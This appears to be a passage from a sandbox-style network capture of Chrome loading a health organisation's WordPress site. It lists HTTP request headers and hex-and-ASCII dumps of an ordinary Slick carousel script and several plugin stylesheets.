2024-04-24 12:44:14 UTC	267	IN	Data Raw: 0a 20 20 20 20 68 65 69 67 68 74 3a 20 32 30 70 78 3b 0a 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 27 e2 80 a2 27 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 2e 32 35 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 62 6c 61 63 6b 3b 0a 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 20 61 6e 74 69 61 6c 69 61 73 65 64 3b 0a 20 20 20 20 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 20 67 72 61 79 73 63 61 6c 65 3b 0a 7d 0a 2e 73 6c 69 63 6b 2d 64 6f 74 73 20 6c 69 2e 73 6c 69 63 6b 2d 61 63 74 69 76 65 20 62 75 74 74 6f 6e 3a 62 65 66 6f 72 65 0a 7b 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 2e 37 35 3b 0a 20 20 20 20 63 6f 6c 6f Data Ascii: height: 20px; content: ''; text-align: center; opacity: .25; color: black; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale;}.slick-dots li.slick-active button:before{ opacity: .75; colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49754	151.101.193.229	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:13 UTC	549	OUT	GET /jquery.slick/1.5.1/slick.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:14 UTC	725	IN	HTTP/1.1 200 OK Connection: close Content-Length: 36757 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 ETag: W/"8f95-/E9Gh2+p1fPXr1m0KHC/D8tmDrc" Accept-Ranges: bytes Age: 1475330 Date: Wed, 24 Apr 2024 12:44:14 GMT X-Served-By: cache-fra-etou8220093-FRA, cache-lax-kwhp1940107-LAX X-Cache: HIT, MISS Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-04-24 12:44:14 UTC	1378	IN	Data Raw: 2f 2a 0a 20 20 20 20 20 5f 20 5f 20 20 20 20 20 20 5f 20 20 20 20 20 20 20 5f 0a 20 5f 5f 5f 7c 20 28 5f 29 20 5f 5f 5f 7c 20 7c 20 5f 5f 20 20 28 5f 29 5f 5f 5f 0a 2f 20 5f 5f 7c 20 7c 20 7c 2f 20 5f 5f 7c 20 7c 2f 20 2f 20 20 7c 20 2f 20 5f 5f 7c 0a 5c 5f 5f 20 5c 20 7c 20 7c 20 28 5f 5f 7c 20 20 20 3c 20 5f 20 7c 20 5c 5f 5f 20 5c 0a 7c 5f 5f 5f 2f 5f 7c 5f 7c 5c 5f 5f 5f 7c 5f 7c 5c 5f 28 5f 29 2f 20 7c 5f 5f 5f 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7c 5f 5f 2f 0a 0a 20 56 65 72 73 69 6f 6e 3a 20 31 2e 35 2e 31 0a 20 20 41 75 74 68 6f 72 3a 20 4b 65 6e 20 57 68 65 65 6c 65 72 0a 20 57 65 62 73 69 74 65 3a 20 68 74 74 70 3a 2f 2f 6b 65 6e 77 68 65 65 6c 65 72 2e 67 69 74 68 75 62 2e 69 6f 0a 20 20 20 20 44 6f 63 73 3a 20 68 74 Data Ascii: /* _ _ _ _ ___\| (_) ___\| \| __ (_)___/ __\| \| \|/ __\| \|/ / \| / __\|\__ \ \| \| (__\| < _ \| \__ \\|___/_\|_\|\___\|_\|\_(_)/ \|___/ \|__/ Version: 1.5.1 Author: Ken Wheeler Website: http://kenwheeler.github.io Docs: ht
2024-04-24 12:44:14 UTC	1378	IN	Data Raw: 2c 72 74 6c 3a 21 31 2c 73 6c 69 64 65 3a 22 22 2c 73 6c 69 64 65 73 50 65 72 52 6f 77 3a 31 2c 73 6c 69 64 65 73 54 6f 53 68 6f 77 3a 31 2c 73 6c 69 64 65 73 54 6f 53 63 72 6f 6c 6c 3a 31 2c 73 70 65 65 64 3a 35 30 30 2c 73 77 69 70 65 3a 21 30 2c 73 77 69 70 65 54 6f 53 6c 69 64 65 3a 21 31 2c 74 6f 75 63 68 4d 6f 76 65 3a 21 30 2c 74 6f 75 63 68 54 68 72 65 73 68 6f 6c 64 3a 35 2c 75 73 65 43 53 53 3a 21 30 2c 76 61 72 69 61 62 6c 65 57 69 64 74 68 3a 21 31 2c 76 65 72 74 69 63 61 6c 3a 21 31 2c 76 65 72 74 69 63 61 6c 53 77 69 70 69 6e 67 3a 21 31 2c 77 61 69 74 46 6f 72 41 6e 69 6d 61 74 65 3a 21 30 7d 2c 65 2e 69 6e 69 74 69 61 6c 73 3d 7b 61 6e 69 6d 61 74 69 6e 67 3a 21 31 2c 64 72 61 67 67 69 6e 67 3a 21 31 2c 61 75 74 6f 50 6c 61 79 54 69 6d 65 Data Ascii: ,rtl:!1,slide:"",slidesPerRow:1,slidesToShow:1,slidesToScroll:1,speed:500,swipe:!0,swipeToSlide:!1,touchMove:!0,touchThreshold:5,useCSS:!0,variableWidth:!1,vertical:!1,verticalSwiping:!1,waitForAnimate:!0},e.initials={animating:!1,dragging:!1,autoPlayTime
2024-04-24 12:44:14 UTC	1378	IN	Data Raw: 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 6d 6f 7a 48 69 64 64 65 6e 3f 28 65 2e 68 69 64 64 65 6e 3d 22 6d 6f 7a 48 69 64 64 65 6e 22 2c 65 2e 76 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 3d 22 6d 6f 7a 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 29 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 6d 73 48 69 64 64 65 6e 3f 28 65 2e 68 69 64 64 65 6e 3d 22 6d 73 48 69 64 64 65 6e 22 2c 65 2e 76 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 3d 22 6d 73 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 29 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 77 65 62 6b 69 74 48 69 64 64 65 6e 26 26 28 65 2e 68 69 64 64 65 6e 3d 22 77 65 62 6b 69 74 48 69 64 64 65 Data Ascii: typeof document.mozHidden?(e.hidden="mozHidden",e.visibilityChange="mozvisibilitychange"):"undefined"!=typeof document.msHidden?(e.hidden="msHidden",e.visibilityChange="msvisibilitychange"):"undefined"!=typeof document.webkitHidden&&(e.hidden="webkitHidde
2024-04-24 12:44:14 UTC	1378	IN	Data Raw: 29 2c 65 2e 24 73 6c 69 64 65 73 43 61 63 68 65 3d 65 2e 24 73 6c 69 64 65 73 2c 65 2e 72 65 69 6e 69 74 28 29 7d 2c 62 2e 70 72 6f 74 6f 74 79 70 65 2e 61 6e 69 6d 61 74 65 48 65 69 67 68 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 3b 69 66 28 31 3d 3d 3d 61 2e 6f 70 74 69 6f 6e 73 2e 73 6c 69 64 65 73 54 6f 53 68 6f 77 26 26 61 2e 6f 70 74 69 6f 6e 73 2e 61 64 61 70 74 69 76 65 48 65 69 67 68 74 3d 3d 3d 21 30 26 26 61 2e 6f 70 74 69 6f 6e 73 2e 76 65 72 74 69 63 61 6c 3d 3d 3d 21 31 29 7b 76 61 72 20 62 3d 61 2e 24 73 6c 69 64 65 73 2e 65 71 28 61 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 29 2e 6f 75 74 65 72 48 65 69 67 68 74 28 21 30 29 3b 61 2e 24 6c 69 73 74 2e 61 6e 69 6d 61 74 65 28 7b 68 65 69 67 68 74 3a 62 7d 2c 61 2e 6f Data Ascii: ),e.$slidesCache=e.$slides,e.reinit()},b.prototype.animateHeight=function(){var a=this;if(1===a.options.slidesToShow&&a.options.adaptiveHeight===!0&&a.options.vertical===!1){var b=a.$slides.eq(a.currentSlide).outerHeight(!0);a.$list.animate({height:b},a.o
2024-04-24 12:44:14 UTC	1378	IN	Data Raw: 69 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 74 68 69 73 2c 63 3d 7b 7d 3b 63 5b 62 2e 74 72 61 6e 73 69 74 69 6f 6e 54 79 70 65 5d 3d 62 2e 6f 70 74 69 6f 6e 73 2e 66 61 64 65 3d 3d 3d 21 31 3f 62 2e 74 72 61 6e 73 66 6f 72 6d 54 79 70 65 2b 22 20 22 2b 62 2e 6f 70 74 69 6f 6e 73 2e 73 70 65 65 64 2b 22 6d 73 20 22 2b 62 2e 6f 70 74 69 6f 6e 73 2e 63 73 73 45 61 73 65 3a 22 6f 70 61 63 69 74 79 20 22 2b 62 2e 6f 70 74 69 6f 6e 73 2e 73 70 65 65 64 2b 22 6d 73 20 22 2b 62 2e 6f 70 74 69 6f 6e 73 2e 63 73 73 45 61 73 65 2c 62 2e 6f 70 74 69 6f 6e 73 2e 66 61 64 65 3d 3d 3d 21 31 3f 62 2e 24 73 6c 69 64 65 54 72 61 63 6b 2e 63 73 73 28 63 29 3a 62 2e 24 73 6c 69 64 65 73 2e 65 71 28 61 29 2e 63 73 73 28 63 29 7d 2c 62 2e 70 72 6f Data Ascii: ition=function(a){var b=this,c={};c[b.transitionType]=b.options.fade===!1?b.transformType+" "+b.options.speed+"ms "+b.options.cssEase:"opacity "+b.options.speed+"ms "+b.options.cssEase,b.options.fade===!1?b.$slideTrack.css(c):b.$slides.eq(a).css(c)},b.pro
2024-04-24 12:44:14 UTC	1378	IN	Data Raw: 73 3b 69 66 28 62 2e 6f 70 74 69 6f 6e 73 2e 64 6f 74 73 3d 3d 3d 21 30 26 26 62 2e 73 6c 69 64 65 43 6f 75 6e 74 3e 62 2e 6f 70 74 69 6f 6e 73 2e 73 6c 69 64 65 73 54 6f 53 68 6f 77 29 7b 66 6f 72 28 64 3d 27 3c 75 6c 20 63 6c 61 73 73 3d 22 27 2b 62 2e 6f 70 74 69 6f 6e 73 2e 64 6f 74 73 43 6c 61 73 73 2b 27 22 3e 27 2c 63 3d 30 3b 63 3c 3d 62 2e 67 65 74 44 6f 74 43 6f 75 6e 74 28 29 3b 63 2b 3d 31 29 64 2b 3d 22 3c 6c 69 3e 22 2b 62 2e 6f 70 74 69 6f 6e 73 2e 63 75 73 74 6f 6d 50 61 67 69 6e 67 2e 63 61 6c 6c 28 74 68 69 73 2c 62 2c 63 29 2b 22 3c 2f 6c 69 3e 22 3b 64 2b 3d 22 3c 2f 75 6c 3e 22 2c 62 2e 24 64 6f 74 73 3d 61 28 64 29 2e 61 70 70 65 6e 64 54 6f 28 62 2e 6f 70 74 69 6f 6e 73 2e 61 70 70 65 6e 64 44 6f 74 73 29 2c 62 2e 24 64 6f 74 73 2e Data Ascii: s;if(b.options.dots===!0&&b.slideCount>b.options.slidesToShow){for(d='<ul class="'+b.options.dotsClass+'">',c=0;c<=b.getDotCount();c+=1)d+="<li>"+b.options.customPaging.call(this,b,c)+"</li>";d+="</ul>",b.$dots=a(d).appendTo(b.options.appendDots),b.$dots.
2024-04-24 12:44:14 UTC	1378	IN	Data Raw: 65 6e 28 29 2c 61 2e 6f 70 74 69 6f 6e 73 2e 72 6f 77 73 3e 31 29 7b 66 6f 72 28 68 3d 61 2e 6f 70 74 69 6f 6e 73 2e 73 6c 69 64 65 73 50 65 72 52 6f 77 2a 61 2e 6f 70 74 69 6f 6e 73 2e 72 6f 77 73 2c 66 3d 4d 61 74 68 2e 63 65 69 6c 28 67 2e 6c 65 6e 67 74 68 2f 68 29 2c 62 3d 30 3b 66 3e 62 3b 62 2b 2b 29 7b 76 61 72 20 69 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 66 6f 72 28 63 3d 30 3b 63 3c 61 2e 6f 70 74 69 6f 6e 73 2e 72 6f 77 73 3b 63 2b 2b 29 7b 76 61 72 20 6a 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 66 6f 72 28 64 3d 30 3b 64 3c 61 2e 6f 70 74 69 6f 6e 73 2e 73 6c 69 64 65 73 50 65 72 52 6f 77 3b 64 2b 2b 29 7b 76 61 72 20 6b 3d 62 2a 68 2b 28 Data Ascii: en(),a.options.rows>1){for(h=a.options.slidesPerRowa.options.rows,f=Math.ceil(g.length/h),b=0;f>b;b++){var i=document.createElement("div");for(c=0;c<a.options.rows;c++){var j=document.createElement("div");for(d=0;d<a.options.slidesPerRow;d++){var k=bh+(
2024-04-24 12:44:14 UTC	1378	IN	Data Raw: 65 5d 29 2c 62 3d 3d 3d 21 30 26 26 28 63 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 63 2e 6f 70 74 69 6f 6e 73 2e 69 6e 69 74 69 61 6c 53 6c 69 64 65 29 2c 63 2e 72 65 66 72 65 73 68 28 29 29 29 3a 6e 75 6c 6c 21 3d 3d 63 2e 61 63 74 69 76 65 42 72 65 61 6b 70 6f 69 6e 74 26 26 28 63 2e 61 63 74 69 76 65 42 72 65 61 6b 70 6f 69 6e 74 3d 6e 75 6c 6c 2c 63 2e 6f 70 74 69 6f 6e 73 3d 63 2e 6f 72 69 67 69 6e 61 6c 53 65 74 74 69 6e 67 73 2c 62 3d 3d 3d 21 30 26 26 28 63 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 63 2e 6f 70 74 69 6f 6e 73 2e 69 6e 69 74 69 61 6c 53 6c 69 64 65 29 2c 63 2e 72 65 66 72 65 73 68 28 29 29 7d 7d 2c 62 2e 70 72 6f 74 6f 74 79 70 65 2e 63 68 61 6e 67 65 53 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 66 2c 67 Data Ascii: e]),b===!0&&(c.currentSlide=c.options.initialSlide),c.refresh())):null!==c.activeBreakpoint&&(c.activeBreakpoint=null,c.options=c.originalSettings,b===!0&&(c.currentSlide=c.options.initialSlide),c.refresh())}},b.prototype.changeSlide=function(b,c){var f,g
2024-04-24 12:44:14 UTC	1378	IN	Data Raw: 73 6c 69 63 6b 22 2c 62 2e 73 65 74 50 61 75 73 65 64 2e 62 69 6e 64 28 62 2c 21 31 29 29 2c 62 2e 6f 70 74 69 6f 6e 73 2e 61 72 72 6f 77 73 3d 3d 3d 21 30 26 26 62 2e 73 6c 69 64 65 43 6f 75 6e 74 3e 62 2e 6f 70 74 69 6f 6e 73 2e 73 6c 69 64 65 73 54 6f 53 68 6f 77 26 26 28 62 2e 24 70 72 65 76 41 72 72 6f 77 26 26 62 2e 24 70 72 65 76 41 72 72 6f 77 2e 6f 66 66 28 22 63 6c 69 63 6b 2e 73 6c 69 63 6b 22 2c 62 2e 63 68 61 6e 67 65 53 6c 69 64 65 29 2c 62 2e 24 6e 65 78 74 41 72 72 6f 77 26 26 62 2e 24 6e 65 78 74 41 72 72 6f 77 2e 6f 66 66 28 22 63 6c 69 63 6b 2e 73 6c 69 63 6b 22 2c 62 2e 63 68 61 6e 67 65 53 6c 69 64 65 29 29 2c 62 2e 24 6c 69 73 74 2e 6f 66 66 28 22 74 6f 75 63 68 73 74 61 72 74 2e 73 6c 69 63 6b 20 6d 6f 75 73 65 64 6f 77 6e 2e 73 6c Data Ascii: slick",b.setPaused.bind(b,!1)),b.options.arrows===!0&&b.slideCount>b.options.slidesToShow&&(b.$prevArrow&&b.$prevArrow.off("click.slick",b.changeSlide),b.$nextArrow&&b.$nextArrow.off("click.slick",b.changeSlide)),b.$list.off("touchstart.slick mousedown.sl
2024-04-24 12:44:14 UTC	1378	IN	Data Raw: 72 20 62 3d 74 68 69 73 3b 62 2e 73 68 6f 75 6c 64 43 6c 69 63 6b 3d 3d 3d 21 31 26 26 28 61 2e 73 74 6f 70 49 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 61 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 29 7d 2c 62 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 73 74 72 6f 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 74 68 69 73 3b 62 2e 61 75 74 6f 50 6c 61 79 43 6c 65 61 72 28 29 2c 62 2e 74 6f 75 63 68 4f 62 6a 65 63 74 3d 7b 7d 2c 62 2e 63 6c 65 61 6e 55 70 45 76 65 6e 74 73 28 29 2c 61 28 22 2e 73 6c 69 63 6b 2d 63 6c 6f 6e 65 64 22 2c 62 2e 24 73 6c 69 64 65 72 29 2e 64 65 74 61 63 68 28 29 2c 62 2e 24 64 6f 74 73 26 26 62 2e 24 64 6f 74 73 2e 72 65 6d 6f 76 Data Ascii: r b=this;b.shouldClick===!1&&(a.stopImmediatePropagation(),a.stopPropagation(),a.preventDefault())},b.prototype.destroy=function(){var b=this;b.autoPlayClear(),b.touchObject={},b.cleanUpEvents(),a(".slick-cloned",b.$slider).detach(),b.$dots&&b.$dots.remov

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49756	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:14 UTC	586	OUT	GET /wp-content/plugins/bt_cost_calculator/style.min.css HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:14 UTC	416	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:14 GMT Content-Type: text/css Content-Length: 38313 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sat, 18 Nov 2023 02:40:41 GMT Vary: Accept-Encoding ETag: "65582429-95a9" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:14 UTC	15968	IN	Data Raw: 2f 2a 20 49 74 65 6d 20 6c 6f 63 6b 20 2a 2f 0d 0a 0d 0a 3a 72 6f 6f 74 20 7b 0d 0a 09 2d 2d 61 63 63 65 6e 74 2d 63 6f 6c 6f 72 3a 20 23 35 32 62 37 62 64 3b 0d 0a 7d 0d 0a 0d 0a 2e 62 74 51 75 6f 74 65 49 74 65 6d 2e 62 74 43 43 4c 6f 63 6b 2c 0d 0a 2e 62 74 51 75 6f 74 65 47 42 6c 6f 63 6b 2e 62 74 43 43 4c 6f 63 6b 20 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 7d 0d 0a 2e 62 74 51 75 6f 74 65 49 74 65 6d 2e 62 74 43 43 4c 6f 63 6b 3a 62 65 66 6f 72 65 2c 0d 0a 2e 62 74 51 75 6f 74 65 47 42 6c 6f 63 6b 2e 62 74 43 43 4c 6f 63 6b 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 27 20 27 3b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 20 20 74 6f 70 3a 20 2d Data Ascii: /* Item lock */:root {--accent-color: #52b7bd;}.btQuoteItem.btCCLock,.btQuoteGBlock.btCCLock {position: relative;}.btQuoteItem.btCCLock:before,.btQuoteGBlock.btCCLock:before { content: ' '; position: absolute; top: -
2024-04-24 12:44:14 UTC	16384	IN	Data Raw: 74 61 63 74 46 6f 72 6d 37 20 74 65 78 74 61 72 65 61 20 7b 0d 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 72 69 67 68 74 3b 0d 0a 7d 0d 0a 0d 0a 2f 2a 20 4d 61 6e 64 61 74 6f 72 79 20 66 69 65 6c 64 73 20 2a 2f 0d 0a 2e 62 74 51 75 6f 74 65 42 6f 6f 6b 69 6e 67 20 20 2e 62 74 43 6f 6e 74 61 63 74 46 69 65 6c 64 4d 61 6e 64 61 74 6f 72 79 20 69 6e 70 75 74 2c 20 2e 62 74 51 75 6f 74 65 42 6f 6f 6b 69 6e 67 20 20 2e 62 74 43 6f 6e 74 61 63 74 46 69 65 6c 64 4d 61 6e 64 61 74 6f 72 79 20 74 65 78 74 61 72 65 61 20 7b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 41 41 41 3b 0d 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 20 31 70 78 20 23 41 41 41 20 69 6e 73 65 74 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a Data Ascii: tactForm7 textarea {text-align: right;}/* Mandatory fields */.btQuoteBooking .btContactFieldMandatory input, .btQuoteBooking .btContactFieldMandatory textarea { border: 1px solid #AAA;box-shadow: 0 0 0 1px #AAA inset; transition:
2024-04-24 12:44:15 UTC	5961	IN	Data Raw: 68 65 63 6b 65 64 29 2c 0d 0a 2e 62 74 5f 63 63 5f 65 6d 61 69 6c 5f 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 5f 63 6f 6e 74 61 69 6e 65 72 20 5b 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 5d 3a 63 68 65 63 6b 65 64 20 7b 0d 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 6c 65 66 74 3a 20 2d 39 39 39 39 70 78 3b 0d 0a 7d 0d 0a 2e 72 74 6c 20 2e 62 74 5f 63 63 5f 65 6d 61 69 6c 5f 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 5f 63 6f 6e 74 61 69 6e 65 72 20 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 3a 6e 6f 74 28 3a 63 68 65 63 6b 65 64 29 2c 0d 0a 2e 72 74 6c 20 2e 62 74 5f 63 63 5f 65 6d 61 69 6c 5f 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 5f 63 6f 6e 74 61 69 6e 65 72 20 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 3a 63 68 65 63 6b 65 Data Ascii: hecked),.bt_cc_email_confirmation_container [type="checkbox"]:checked { position: absolute; left: -9999px;}.rtl .bt_cc_email_confirmation_container [type=checkbox]:not(:checked),.rtl .bt_cc_email_confirmation_container [type=checkbox]:checke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49755	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:14 UTC	596	OUT	GET /wp-content/plugins/cookie-notice/css/front.min.css?ver=2.4.16 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:14 UTC	415	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:14 GMT Content-Type: text/css Content-Length: 5064 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sat, 06 Apr 2024 06:46:19 GMT Vary: Accept-Encoding ETag: "6610efbb-13c8" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:14 UTC	5064	IN	Data Raw: 23 63 6f 6f 6b 69 65 2d 6e 6f 74 69 63 65 2c 23 63 6f 6f 6b 69 65 2d 6e 6f 74 69 63 65 20 2e 63 6e 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 63 6e 2d 62 75 74 74 6f 6e 2d 63 75 73 74 6f 6d 29 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 41 72 69 61 6c 2c 52 6f 62 6f 74 6f 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 23 63 6f 6f 6b 69 65 2d 6e 6f 74 69 63 65 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 61 75 74 6f Data Ascii: #cookie-notice,#cookie-notice .cn-button:not(.cn-button-custom){font-family:-apple-system,BlinkMacSystemFont,Arial,Roboto,"Helvetica Neue",sans-serif;font-weight:400;font-size:13px;text-align:center}#cookie-notice{position:fixed;min-width:100%;height:auto

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49759	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:14 UTC	605	OUT	GET /wp-content/plugins/google-language-translator/css/style.css?ver=6.0.20 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:14 UTC	418	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:14 GMT Content-Type: text/css Content-Length: 128983 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 11 Mar 2024 17:10:42 GMT Vary: Accept-Encoding ETag: "65ef3b12-1f7d7" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:14 UTC	15966	IN	Data Raw: 23 67 6c 74 2d 73 65 74 74 69 6e 67 73 2e 77 72 61 70 20 7b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 31 33 30 30 70 78 3b 0a 7d 0a 0a 23 67 6c 74 2d 73 65 74 74 69 6e 67 73 2e 77 72 61 70 3a 61 66 74 65 72 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 27 27 3b 0a 20 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0a 20 20 63 6c 65 61 72 3a 62 6f 74 68 3b 0a 7d 0a 0a 23 67 6c 74 2d 66 6f 6f 74 65 72 2c 0a 23 67 6c 74 2d 66 6f 6f 74 65 72 20 23 67 6f 6f 67 6c 65 5f 6c 61 6e 67 75 61 67 65 5f 74 72 61 6e 73 6c 61 74 6f 72 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 0a 23 67 6c 74 2d 74 72 61 6e 73 6c 61 